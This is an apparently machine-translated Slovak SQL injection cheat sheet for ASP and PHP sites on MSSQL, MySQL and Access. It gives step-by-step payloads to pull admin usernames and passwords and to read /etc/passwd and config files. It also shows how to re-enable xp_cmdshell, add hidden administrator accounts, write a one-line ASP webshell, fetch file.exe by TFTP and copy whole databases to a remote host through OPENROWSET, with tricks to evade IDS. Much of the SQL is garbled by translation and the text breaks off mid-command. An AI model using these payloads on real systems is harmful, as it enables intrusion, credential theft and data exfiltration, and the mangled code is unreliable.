MSSQL cross-database dotazy (smradľavé jedlo!) Dark)
Vyžmýkajte z MS SQL každú poslednú kvapku
Podrobne sú vysvetlené odkazy na SQL príkazy a objekty súboru záznamov
O uložených procedúrach v SQL Server
Vytvorte webshell so zálohou mssql
SQL_Injection Pokročilé aplikácie
Cross-site SQL injekcia (laokai)
Weird SQL Injection (AMANL)
Pokročilá SQL injekcia v aplikáciách SQL Server
Ako použiť SQL injection na prechádzanie adresármi
Návod na techniky SQL injekcie (prekladateľ: demonalex)
Niektoré útoky na SQL databázy
Technika útoku injekciou SQL (JSW)
SQL_Injection Pokročilé aplikácie (APACHY)
Nezvyčajné metódy SQL injekcie (Guilin Veteran)
Zálohujte shell
Talk about php+mysql injection injection statement structure (Heyhehehehe·≯Super· Hei)
Pokročilá SQL injekcia s MySQL (angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL manuálna injekčná encyklopédia
Predpoklady vyžadujú nástroje: SQL Query Analyzer a SqlExec Sunx verzia ============================================================================================== 1. Určiť, či existuje injekčný bod ; a 1=1 a 1=2 2. Tipujem, že názov tabuľky nie je nič iné ako administrátor, administrátor, používateľský prístup, heslo a podobne: a 0<>(vyberte count(*) z *) a 0<>(vyberte count(*) z admin) — Zistite, či administratívna tabuľka existuje 3. Uhádnite počet účtov Ak narazíte na 0< vráťte sa na správnu stránku 1< vráťte chybovú stránku, aby ste oznámili, že počet účtov je 1 a 0<(vyberte count(*) z admin) a 1<(vyberte count(*) z admin) 4. Uhádnite názov poľa Pridajte názov poľa, na ktorý myslíme, do zátvoriek len( ). a 1=(vybrať count(*) z admin, kde len(*)>0)– a 1=(vyberte count(*) z admin kde len(názov používateľského poľa)>0) a 1=(vyberte count(*) z admin kde len(_blank>názov poľa hesla)>0) 5. Hádaj dĺžku každého poľa Tipuj dĺžku na transformáciu >0, kým sa nevráti správna stránka a 1=(vyberte count(*) z admin kde len(*)>0) a 1=(vyberte count(*) z admin, kde len(meno)>6) chyba a 1=(vyberte count(*) z admin, kde len(meno)>5) Správna dĺžka je 6 a 1=(vyberte count(*) z admin, kde len(meno)=6 je správne a 1=(vyberte count(*) z admin, kde len(password)>11) je správne a 1=(vyberte count(*) z admin, kde len(password)>12) chyba dĺžka je 12 a 1=(vyberte count(*) z admin, kde len(password)=12) je správne 6. Hádať postavy a 1=(vyberte count(*) z admin kde left(name,1)=a) — Uhádnite prvú číslicu používateľského účtu a 1=(vyberte count(*) z admin kde left(name,2)=ab)—Uhádnite druhú číslicu používateľského účtu Stačí pridávať po jednom znaku na hádanie, hádať toľko číslic, koľko ste práve uhádli, a číslo účtu sa zobrazí (1) Uhádni názov tabuľky
Použité vety: a existuje (vybrať * z názvu tabuľky)
Napríklad: a existuje (vybrať * z admin)
Ak stránka správne zodpovedá, znamená to, že názov tabuľky, ktorý sme tu uhádli, je správny, a ak je stránka nesprávna, znamená to, že názov tabuľky, ktorý sme tu napísali, je nesprávny
, potom zmeň názov tabuľky a pokračuj v hádaní, kým neuhádneš.
Bežne používané názvy tabuliek zahŕňajú admin, manage, user alebo vložiť to do spustenia nástroja (2) Hádať pole
Použité vety: a existuje (vyberte názov poľa z názvu tabuľky)
Napríklad: a existuje (vyberte používateľské meno z admina)
Tu, ak predpokladáme, že administrátorská tabuľka je tá, ktorú som správne uhádol vyššie, chcem zistiť, či pole používateľského mena existuje, musím použiť toto vyhlásenie, ak stránka
Ak je ozvena tváre správna, znamená to, že názov poľa, ktorý sme tu uhádli, je správny, a ak je stránka nesprávna, znamená to, že názov poľa, ktorý sme tu napísali, je nesprávny
, potom zmeňte názov poľa a pokračujte v hádaní, kým neuhádnete.
Bežné názvy polí zvyčajne zahŕňajú používateľské meno, heslo, user, pass, meno, pass, pwd, usr, psd a ďalšie polia (3) poradie podľa
Order by je na získanie súčtu počtu polí na tej stránke, čím sa pripravuje na ďalší spoločný dotaz (4) Union Select
1. Ak podporujete spoločný dotaz, nájdite zobrazovací bit http://www.xxx.com/product_show.asp?id=1 a 1=2 union select
1,2,3,4,5,6,7,8,9,10,11 Predpokladajme, že zobrazovacie bity sú 5,6. Ďalej stačí nahradiť názvy polí zodpovedajúce používateľskému menu a heslu administrátora pozíciou zobrazovacieho bitu tu
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 z admina našiel pozadie prihlásenia 2. Ak spoločný dotaz nie je podporovaný Používateľské meno a heslo administrátora nie je možné získať bez spoločného dotazu – pomocou Ascii doslovného dekódovania Dva Použite order by na posúdenie počtu bitov v tabuľke, a ak to nefunguje, použite union select na usporiadanie bitov jeden po druhom, tu predpokladáme 8 bitov Tri Použite spoločný dotaz na určenie zobrazovacích bitov Štyri Použite zobrazovací bit na nájdenie názvu databázy, verzia databázy, 5.0 alebo vyššia môže byť injektovaná
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Päť S názvom databázy môžete začať získavať schému názvu tabuľky = nasledovanú HEX hodnotou názvu databázy a uhádnuť názov tabuľky
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Šesť Analyzované meno tabuľky určuje HEX hodnotu administrátorovho mena tabuľky=názov tabuľky a háda polia v tabuľke http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Sedem Po získaní polí v administrátorskej tabuľke si pozrime obsah polí http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+používateľské meno, 0x5f,userpwd),8+from+pub_webmaster Osem Nástroj skenuje pozadie: Prihláste sa, aby ste nahrali trójana po jeho nájdení, a ak nenájdete robots.txt súbor, môžete k nemu pristupovať Deväť Ak nenájdete pozadie, heslo správcu MYSQL bude odhalené http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user Desať Náhodne pristupte k ceste a spätná väzba je predvolená stránka 404 v IIS6, čo naznačuje, že webový server je: Windows+IIS6+php+MySql prostredie c:\\windows\\system32\\inetsrv\\MetaBase.xml Táto cesta umožňuje získať informácie o konfigurácii webu. Konštrukčné výroky http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Jedenásť Analyzujte kód a nájdite pozadie adresy V prvom kroku potrebujeme určiť dĺžku polí v tabuľke Použité tvrdenia: a (vyberte top 1 len(názov poľa) z názvu tabuľky)>0 Napríklad čo: a (vyberte horný 1 len(admin_name) z admina)>0 Stránka sa zobrazuje normálne, dĺžka admin_name poľa je väčšia ako 0 a ja predložím:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Stránka zobrazuje chybu, že pole je medzi 0 a 10 a dĺžka je 5 podľa dichotómie Použitím rovnakej metódy na určenie dĺžky poľa pre administrátorské heslo dostanem dĺžku 16 Krok 2 Teraz prejdime k druhému kroku, vezmime určitý znak v poli a získame ASCII kód tohto znaku, ktorý sa použije
Vyhlásenie: a (vyberte top 1 asc(mid(field name, N,1)) z názvu tabuľky)>0 Pozrime sa na túto vetu samostatne, najprv na najvnútornejšiu strednú (používateľské meno, 1,1) funkciu, ktorá je prvým znakom admin_name poľa, N
označuje, že prvé znaky majú byť zachytené, Potom vonkajšia funkcia asc(), ktorá prevádza znaky zachytené strednou funkciou na ASCII kód, teda najvzdialenejšiu hornú jedničku, reprezentuje návratové pole prvého miesta
Takže platňa, ">0" na konci slúži na porovnanie konvertovaného ASCII kódu s týmto číslom a nakoniec získanie zachytenia neustálou zmenou poslednej hodnoty
Zistite konkrétne informácie o tejto postave ASCII kód Príspevok:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Stránka sa zobrazuje normálne, čo znamená, že ASCII kód tohto znaku je väčší ako 30. Príspevok:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Stránka sa zobrazuje normálne, čo znamená, že ASCII kód tohto znaku je väčší ako 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII kód, ktorý som nakoniec získal pre tento znak, je 97 Porovnajte tabuľku ASCII: Dá sa usúdiť, že prvý znak je "a". Potom posúdim ASCII kód druhého znaku.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Stránka sa zobrazuje normálne, čo znamená, že ASCII kód znaku je väčší ako 90, a posledná hodnota sa vždy mení Rovnaká metóda priniesla heslo administrátora a výsledok, ktorý som dostal, bol:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 a 1=(vyberte top 1 count(*) z Admin, kde Asc(mid(pass,5,1))=51) – Tento dotaz dokáže uhádnuť čínskeho používateľa a _blank> heslo. Stačí nahradiť nasledujúce čísla čínskym kódom ASSIC
Konvertujte na postavy.
skupina users.id má 1=1–www.myhack58.com zoskupiť podľa users.id, users.username, users.password, users.privs majú 1=1– ; Vložte do používateľov hodnoty (666, útočník, foobar 0xffff )–
ODBORY Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. STĹPCE Kde
TABLE_blank>_NAME=logintable- ODBORY Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. STĹPCE Kde
TABLE_blank>_NAME=prihlasovateľné Kde COLUMN_blank>_NAME NIE V (login_blank>_id)- ODBORY Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. STĹPCE Kde
TABLE_blank>_NAME=prihlasovateľné Kde COLUMN_blank>_NAME NIE V
(login_blank>_id,login_blank>_name)- UNION Vyberte TOP 1 login_blank>_name Z logintable- UNION Vyberte TOP 1 heslo Z logintable, kde login_blank>_name=Rahul– Pozrite sa na patch, ktorý prehral _blank> server = nesprávna SP4 záplata čierna bezpečnostná sieť a 1=(vybrať @@VERSION)–
Pozrite sa na oprávnenia účtu _blank> databázového pripojenia a vráti sa normálne, čo dokazuje, že ide o oprávnenie správcu systému pre rolu _blank> servera. a 1=(Vybrať IS_blank>_SRVROLEMEMBER(sysadmin))–
Zistite, či _blank> databázový účet prepojený. (Použite SA účet na pripojenie a vrátenie normálneho = preukázať, že pripojený účet je SA) a sa=(Vybrať System_blank>_user)– a user_blank>_name()=dbo– a 0<>(vybrať user_blank>_name()–
Pozri, či xp_blank>_cmdshell vymaže a 1=(Vyberte count(*) FROM master.dbo.sysobjects kde xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell je vymazaný, obnovený a podporuje absolútnu obnovu cesty ; VÝKONNÝ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== povolenie databázy je vystavené fyzickému kódu cesty webovej stránky
========================================================================== 1、drop table [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Vytvoriť tabuľku
2、 delete [jm_tmp]; Vložte [jm_tmp] výkonný master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Vložte adresár stránky do poľa tabuľky
3、a (vyberte top 1 cast([data] ako nvarchar(4000) char(124) z [jm_tmp] poradie podľa [data]
desc)=0 '//Exposed pole
4. Zrušiť tabuľku [jm_tmp] -- vymazať túto tabuľku. aby velenie získalo granát
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Ostatné trasy stanice ======================load_file() Bežne používané citlivé informácie =========================================== 1、 nahradiť(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、nahradiť(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Vyššie uvedené dve slúžia na zobrazenie PHP súboru, ktorý plne zobrazuje kód. Sú chvíle, keď niektoré znaky nie sú nahradené, napríklad "<" namiesto "medzera", ktorá sa vráti
Webová stránka. A kód nie je možné prezerať.
3. load_file(char(47)) môže uvádzať koreňový adresár systémov FreeBSD a Sunos
4. Zobraziť konfiguračný súbor virtuálneho hostiteľa linuxu APACHE v /etc/httpd/conf/httpd.conf alebo /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf alebo C:\apache\conf\httpd.conf na zobrazenie WINDOWS
System Apache súbor
6. c:/Resin-3.0.14/conf/resin.conf Zobraziť informácie o konfigurácii súborov resin na webovej stránke vyvinutej jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/conf na zobrazenie virtuálneho hostiteľa JSP nakonfigurovaného na Linuxovom systéme
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml Zobraziť konfiguračný súbor virtuálneho hostiteľa IIS
12. /usr/local/resin-3.0.22/conf/resin.conf na zobrazenie konfiguračného súboru RESIN pre 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf To isté ako vyššie
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuálny hostiteľ
15. /etc/sysconfig/iptables závisí od politiky firewallu
16. /usr/local/app/php5 b/php.ini ekvivalentné nastavenia PHP
17. /etc/my.cnf MYSQL konfiguračný súbor
18. /etc/verzia Red Hat pre systém vydania
19 、C:\mysql\data\mysql\user. MYD existuje v používateľskom hesle v systéme MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 na zobrazenie IP.
21. /usr/local/app/php5 b/php.ini //PHP nastavenia súvisiace
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuálne nastavenia webovej stránky //
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue zobrazuje informácie o distribúcii jadra Linux
26、/etc/ftpuser
27. Skontrolujte operačný log pod LINUXom user.bash_history alebo .bash_profile
28、/atď/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Sám si urob reverzný PING experiment ; používajte master; vyhlásiť @s int; Exec sp_blank>_oacreate "wscrip{filter}t.shell", @s koniec; exec
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Pridajte si účet ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Vytvorte virtuálny adresár E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Prístupové atribúty: (s písaním do webshellu) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Špeciálny _blank> trik na burstovanie knižnice: :%5c=\ alebo upraviť %5 s / a \ na commit a 0<>(vyberte top 1 cestu z newtable)–
Získaj názov databázy (od 1 do 5 sú ID systému a môžeš ich hodnotiť nad 6) a 1=(vyberte názov z master.dbo.sysdatabases, kde dbid=7)– a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde meno>1 a dbid=6) Odoslať bid v poradí = 7,8,9.... Získajte viac _blank> názvoch databáz
a 0<>(vyberte top 1 meno z bbs.dbo.sysobjects, kde xtype=U) vtrhnú do tabuľky za predpokladu administrátora a 0<>(vyberte top 1 meno z bbs.dbo.sysobjects, kde xtype=you a meno nie v (Admin)).
Iné stoly. a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype=u a meno=admin a uid>(str(id))) Predpokladá sa, že číselná hodnota UID je 18779569 uid=id a 0<>(vyberte top 1 meno z bbs.dbo.syscolumns, kde id=18779569) získa pole admin, false
Nastavený na user_blank>_id a 0<>(vyberte top 1 meno z bbs.dbo.syscolumns, kde id=18779569 a meno nie v (id,...)) na odhalenie iných polí a 0<(vyberte user_blank>_id z BBS.dbo.admin, kde používateľské meno>1), aby ste získali používateľské meno Na oplátku môžete získať _blank> heslo。。。。。 Predpokladajme, že existujú polia ako user_blank>_id používateľské meno, heslo a podobne
a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde meno>1 a dbid=6) a 0<>(vyberte top 1 názov z bbs.dbo.sysobjects, kde xtype=U) na získanie názvu tabuľky a 0<>(vyberte top 1 meno z bbs.dbo.sysobjects, kde xtype=u a meno nie v(Adresa)) a 0<>(select count(*) z bbs.dbo.sysobjects, kde xtype=u a name=admin a uid>(str(id)))
Určte hodnotu id a 0<>(vyberte top 1 meno z BBS.dbo.syscolumns, kde id=773577794) všetky polia
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* z admin ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 z admina (Union,Access je tiež ľahko použiteľný)
Získajte WEB cestu ; Vytvorte tabuľku [dbo]. [výmena] ([swappass][char](255)); – a (vyberte top 1 swappass zo swapu)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Majster.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTÉM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, hodnoty=@test
VÝSTUP vložiť do hodnôt cesty(cesty)(@test)– ; Použite KU1; – ; Create table cmd (str image); – Vytvoriť tabuľkový cmd podľa typu obrázka 1. Spôsob, ako odstrániť proces rozšírenia xp_cmdshell, je použiť nasledujúce vyhlásenie:
ak existuje (vyberte * z dbo.sysobjects, kde id=object_id(N'[dbo].[ xpcmdshell]') a
OBJECTPROPERTY(id,N'IsExtendedProc')=1) exeec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Spôsob, ako pridať xp_cmdshell proces rozšírenia, je použiť nasledujúce tvrdenie:
(1) SQL analyzátor dotazov
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Najprv vyplňte %s v možnosti Formát SqlExec Sunx Version a zadajte ich v možnosti CMD
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
odstrániť
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell,'xplog70.dll' Existuje xp_blank>_cmdshell testovacích procesov: ; Výkonný majster.. xp_blank>_cmdshell dir ; Výkonný master.dbo.sp_blank>_addlogin Jiaoniang$; – Pridať SQL účty ; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; Exec master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell net používateľ jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrátori jiaoniang$ /add; – Výkonný majster.. xp_blank>_servicecontrol začiatku, plán na začiatok _blank> služby Výkonný majster.. xp_blank>_servicecontrol štart, server ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Výkonný majster.. xp_blank>_cmdshell tftp -i youip get file.exe – Nahrávajte súbory cez TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; vyhlásiť @a; množina @a=db_blank>_name(); záložná databáza @a na disk=vaša IP Váš zdieľaný adresár bak.dat Ak je to obmedzené, áno. select * from openrowset(_blank>sqloledb,server; SA; ,Vyber OK! exec
master.dbo.sp_blank>_addlogin hax)
Štruktúra dotazu: Vyberte * Zo správ Kde id=... A téma=... A ..... adminand 1=(vyberte count(*) z [user] kde username=victim a right(left(userpass,01),1)=1)
a userpass <> vyberte 123; – ; používajte master; – :a alebo meno ako fff%; – Zobrazuje používateľa menom ffff. a 1<>(vybrať count(email) z [user]); – ; Aktualizácia [Users] nastavte email=(vyberte top 1 meno zo sysobjects, kde xtype=u a status>0) kde
meno=ffff; – ; Aktualizácia [Users] Nastavte email=(Vyberte Top 1 ID z sysobjects, kde xtype=you a meno=ad) kde
meno=ffff; – ; Aktualizácia [Users] Nastaviť email=(Vyberte top 1 meno zo sysobjects, kde xtype=you a id>581577110)
kde meno=ffff; – ; aktualizácia [Users] nastavte email=(vyberte top 1 count(id) z hesla), kde meno=ffff; – ; Aktualizácia [Users] nastavte email=(vyberte top 1 pwd z hesla, kde id=2) kde meno=ffff; – ; aktualizácia [Users] nastavte email=(vyberte top 1 meno z hesla, kde id=2) kde meno=ffff; – Vyššie uvedený príkaz je získať prvú používateľskú tabuľku v databáze _blank> a zadať názov tabuľky do e-mailového poľa používateľa ffff. Zobrazením používateľského profilu ffff môžete získať prvú tabuľku nazývanú AD Potom získajte ID tejto tabuľky podľa názvu tabuľky v reklame, aby ste získali názov druhej tabuľky
vložiť do hodnôt používateľa (666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– vložte do používateľov hodnoty (667,123,123,0xffff)– vložiť do hodnôt používateľa (123, admin–, heslo, 0xffff)– ; a user>0 ; a (vyberte count(*) zo sysobjects)>0 ; a (vyberte count(*) z mysysobjects)>0 // pre databázu access_blank>
Vymenujte názov dátovej tabuľky ; aktualizovať aaa nastaviť aaa=(vyberte top 1 meno zo sysobjects, kde xtype=u a status>0); – Tu sa názov prvej tabuľky aktualizuje na pole AAA. Prečítajte si prvú tabuľku a druhú tabuľku môžete čítať takto (pridajte a pomenujte za podmienku<> názov tabuľky, ktorú ste práve získali). ; Aktualizácia AAA Set aaa=(vyberte top 1 meno zo sysobjects, kde xtype=u a status>0 a
meno<>hlasovanie); – Potom id=1552 a existuje (vyberte * z aaa, kde aaa>5) Prečítaj druhú tabuľku a čítaj ju jednu po druhej, až kým nezostane žiadna. Čítacie pole vyzerá takto: ; aktualizovať aaa set aaa=(vybrať top 1 col_blank>_name(object_blank>_id(názov tabuľky),1)); – Potom id=152 a existuje (vybrať * z aaa, kde aaa>5) dostane chybu a získa názov poľa ; aktualizovať aaa set aaa=(vybrať top 1 col_blank>_name(object_blank>_id(názov tabuľky),2)); – Potom id=152 a existuje (vybrať * z aaa, kde aaa>5) dostane chybu a získa názov poľa
[Získať názov dátovej tabuľky] [Aktualizujte hodnotu poľa na názov tabuľky a potom prečítajte hodnotu tohto poľa, aby ste získali názov tabuľky] Aktualizuj pole Názov tabuľky Set =(vyberte top 1 meno zo SysObjects, kde xtype=u a status>0 [ a meno<>
Názov tabuľky, ktorý dostanete, Nájdite jeden plus jeden]) [kde podmienka] Vyberte top 1 meno zo sysobjects, kde xtype=u a
Stav>0 a meno nie v (table1, table2,...) Vytvorenie účtu administrátora databázy a správcu systému _blank> _blank> injekciu zraniteľností cez SQLSERVER [Aktuálny účet musí byť skupina SYSADMIN]
[Získajte názov poľa Datatable] [Aktualizujte hodnotu poľa na názov poľa a potom prečítajte hodnotu tohto poľa, aby ste získali názov poľa] aktualizujte pole Názov tabuľky Set =(vyberte top 1 col_blank>_name(object_blank>_id (názov dátovej tabuľky na dotaz), stĺpec poľa
Napríklad: 1) [kde podmienka]
Obchádzanie detekcie IDS [pomocou premenných] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Otvorte vzdialenú databázu _blank> Základná syntax select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrať * z tabuľky1 ) Parametre: (1) Názov poskytovateľa OLEDB 2. Parameter spojovacieho reťazca môže byť akýkoľvek port na pripojenie, napríklad select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,
Vyberte * z tabuľky 3. Skopírovať celú _blank> databázu cieľového hostiteľa a vložiť všetky vzdialené tabuľky do lokálnej tabuľky.
Základná syntax: insert do OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrať * z tabuľky1) vybrať
* z tabuľky 2 Tento riadkový príkaz kopíruje všetky dáta z tabuľky table2 na cieľovom hostiteľovi do tabuľky table1 v vzdialenej databáze _blank>. Správne opravy v praktickom použití
Zmeňte IP adresu a port spojovacieho reťazca tak, aby ukazoval tam, kam ho potrebujete, napríklad: insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z tabuľky1) Vyberte * z tabuľky2 insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z _blank>_sysdatabases) Vyberte * z master.dbo.sysdatabases insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z _blank>_sysobjects) Vyberte * z user_blank>_database.dbo.sysobjects insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z _blank>_syscolumns) Vyberte * z user_blank>_database.dbo.syscolumns Replikujte _blank> databázu: insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
